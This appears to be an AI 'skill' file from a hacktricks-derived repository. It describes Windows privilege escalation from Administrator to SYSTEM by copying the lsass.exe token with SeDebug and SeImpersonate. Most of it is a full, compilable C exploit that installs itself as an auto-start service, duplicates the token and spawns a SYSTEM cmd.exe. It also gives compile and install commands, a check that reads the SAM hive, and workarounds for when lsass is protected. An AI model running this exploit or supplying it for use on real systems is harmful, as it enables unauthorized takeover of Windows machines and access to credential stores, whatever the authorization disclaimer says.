Hacktricks-skills windows-token-escalation
Windows local privilege escalation using SeDebug + SeImpersonate token copying. Use this skill when the user is doing Windows penetration testing, security assessments, or privilege escalation research and needs to escalate from Administrator to SYSTEM by copying tokens from privileged processes like lsass.exe, services.exe, or svchost.exe. Trigger this when users mention Windows privilege escalation, token manipulation, SeDebug, SeImpersonate, or need to gain SYSTEM access.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token/SKILL.MDWindows Token Escalation: SeDebug + SeImpersonate
This skill helps you escalate privileges from Administrator to SYSTEM on Windows by exploiting the SeDebug and SeImpersonate privileges to copy tokens from high-privilege processes.
When to Use This Technique
Use this approach when:
- You have Administrator access but need SYSTEM privileges
- The target system has SeDebug and SeImpersonate privileges enabled
- You're conducting authorized penetration testing or security assessments
- You need to access protected resources requiring SYSTEM access
How It Works
The exploit leverages two critical Windows privileges:
- SeDebugPrivilege - Allows debugging and manipulating processes
- SeImpersonatePrivilege - Allows impersonating other users/processes
The technique:
- Find a process running as SYSTEM (like
)lsass.exe - Open that process with
PROCESS_QUERY_INFORMATION - Extract its primary token using
OpenProcessToken - Duplicate the token with
DuplicateTokenEx - Spawn a new process (like
) using the duplicated tokencmd.exe
Target Processes
Common SYSTEM processes you can target:
- Local Security Authority Subsystem Service (most common)lsass.exe
- Service Control Managerservices.exe
- Service Host (one of the first instances)svchost.exe
- Windows Initializationwininit.exe
- Client/Server Runtime Subsystemcsrss.exe
Important: You cannot copy tokens from Protected processes (like those with PatchGuard protection).
The Exploit Code
// Token Escalation Exploit - SeDebug + SeImpersonate // Compile as a Windows service binary for testing // WARNING: Only use in authorized environments #include <windows.h> #include <tlhelp32.h> #include <tchar.h> #pragma comment (lib, "advapi32") TCHAR* serviceName = TEXT("TokenDanceSrv"); SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE serviceStatusHandle = 0; HANDLE stopServiceEvent = 0; // Find the PID of a process by name int FindTarget(const char *procname) { HANDLE hProcSnap; PROCESSENTRY32 pe32; int pid = 0; hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcSnap) return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcSnap, &pe32)) { CloseHandle(hProcSnap); return 0; } while (Process32Next(hProcSnap, &pe32)) { if (lstrcmpiA(procname, pe32.szExeFile) == 0) { pid = pe32.th32ProcessID; break; } } CloseHandle(hProcSnap); return pid; } // Main exploit function - this is where elevation occurs int Exploit(void) { HANDLE hSystemToken, hSystemProcess; HANDLE dupSystemToken = NULL; HANDLE hProcess, hThread; STARTUPINFOA si; PROCESS_INFORMATION pi; int pid = 0; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Step 1: Open high privileged process (lsass.exe) if (pid = FindTarget("lsass.exe")) hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); else return -1; // Step 2: Extract high privileged token if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) { CloseHandle(hSystemProcess); return -1; } // Step 3: Make a copy of the token DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken); // Step 4: Spawn a new process with higher privileges CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); CloseHandle(hSystemProcess); CloseHandle(hSystemToken); CloseHandle(dupSystemToken); return 0; } // Service control handler void WINAPI ServiceControlHandler(DWORD controlCode) { switch (controlCode) { case SERVICE_CONTROL_SHUTDOWN: case SERVICE_CONTROL_STOP: serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus(serviceStatusHandle, &serviceStatus); SetEvent(stopServiceEvent); return; case SERVICE_CONTROL_PAUSE: case SERVICE_CONTROL_CONTINUE: case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus(serviceStatusHandle, &serviceStatus); } // Service main function void WINAPI ServiceMain(DWORD argc, TCHAR* argv[]) { // Initialize service status serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwControlsAccepted = 0; serviceStatus.dwWin32ExitCode = NO_ERROR; serviceStatus.dwServiceSpecificExitCode = NO_ERROR; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatusHandle = RegisterServiceCtrlHandler(serviceName, ServiceControlHandler); if (serviceStatusHandle) { // Service is starting serviceStatus.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus(serviceStatusHandle, &serviceStatus); stopServiceEvent = CreateEvent(0, FALSE, FALSE, 0); // Running serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(serviceStatusHandle, &serviceStatus); // Execute the exploit Exploit(); WaitForSingleObject(stopServiceEvent, -1); // Service was stopped serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus(serviceStatusHandle, &serviceStatus); CloseHandle(stopServiceEvent); stopServiceEvent = 0; // Service is now stopped serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus(serviceStatusHandle, &serviceStatus); } } // Install the service void InstallService() { SC_HANDLE serviceControlManager = OpenSCManager(0, 0, SC_MANAGER_CREATE_SERVICE); if (serviceControlManager) { TCHAR path[_MAX_PATH + 1]; if (GetModuleFileName(0, path, sizeof(path)/sizeof(path[0])) > 0) { SC_HANDLE service = CreateService(serviceControlManager, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0); if (service) CloseServiceHandle(service); } CloseServiceHandle(serviceControlManager); } } // Uninstall the service void UninstallService() { SC_HANDLE serviceControlManager = OpenSCManager(0, 0, SC_MANAGER_CONNECT); if (serviceControlManager) { SC_HANDLE service = OpenService(serviceControlManager, serviceName, SERVICE_QUERY_STATUS | DELETE); if (service) { SERVICE_STATUS serviceStatus; if (QueryServiceStatus(service, &serviceStatus)) { if (serviceStatus.dwCurrentState == SERVICE_STOPPED) DeleteService(service); } CloseServiceHandle(service); } CloseServiceHandle(serviceControlManager); } } int _tmain(int argc, TCHAR* argv[]) { if (argc > 1 && lstrcmpi(argv[1], TEXT("install")) == 0) { InstallService(); } else if (argc > 1 && lstrcmpi(argv[1], TEXT("uninstall")) == 0) { UninstallService(); } else { SERVICE_TABLE_ENTRY serviceTable[] = { { serviceName, ServiceMain }, { 0, 0 } }; StartServiceCtrlDispatcher(serviceTable); } return 0; }
Compilation and Usage
Compile the Exploit
# Using Visual Studio Developer Command Prompt cl /EHsc token_exploit.c advapi32.lib # Or using MinGW x86_64-w64-mingw32-gcc -o token_exploit.exe token_exploit.c -ladvapi32
Install and Run as Service
# Install the service (run as Administrator) token_exploit.exe install # Start the service net start TokenDanceSrv # Check if cmd.exe spawned with SYSTEM privileges # Look for a new cmd.exe process running as SYSTEM # Uninstall when done token_exploit.exe uninstall
Verification
To verify the exploit worked:
-
Check for new cmd.exe process - A new command prompt should appear
-
Verify SYSTEM access - In the spawned cmd, run:
whoamiShould return
nt authority\system -
Access protected resources - Try accessing:
dir C:\Windows\System32\config\SAM
Tools for Analysis
Process Hacker
Use Process Hacker to:
- View process tokens and privileges
- Identify which processes are running as SYSTEM
- Check which processes are Protected (cannot be token-copied)
PowerShell Commands
# Check current privileges whoami /priv # List SYSTEM processes Get-Process | Where-Object {$_.Owner -eq "NT AUTHORITY\SYSTEM"} # Check if SeDebug and SeImpersonate are enabled whoami /priv | Select-String "SeDebugPrivilege,SeImpersonatePrivilege"
Safety and Legal Considerations
⚠️ IMPORTANT:
- Only use this technique on systems you own or have explicit authorization to test
- This is for educational and authorized penetration testing purposes only
- Unauthorized privilege escalation is illegal and unethical
- Document all testing activities and get proper authorization
Troubleshooting
Common Issues
-
"Access Denied" when opening process
- Ensure you're running as Administrator
- Check if the target process is Protected
-
lsass.exe not found or protected
- Try alternative targets:
,services.exe
,svchost.exewininit.exe - On newer Windows versions, lsass may be protected by LSA Protection
- Try alternative targets:
-
Service won't start
- Check Windows Event Viewer for errors
- Ensure the binary path is correct
- Verify the service account has necessary permissions
-
Token duplication fails
- Verify SeDebug and SeImpersonate privileges are enabled
- Check if the process has the necessary access rights
Alternative Approaches
If this technique doesn't work:
- Try other privilege escalation methods (misconfigured services, unquoted service paths, etc.)
- Use existing tools like
for token manipulationmimikatz - Consider kernel-level exploits if available and appropriate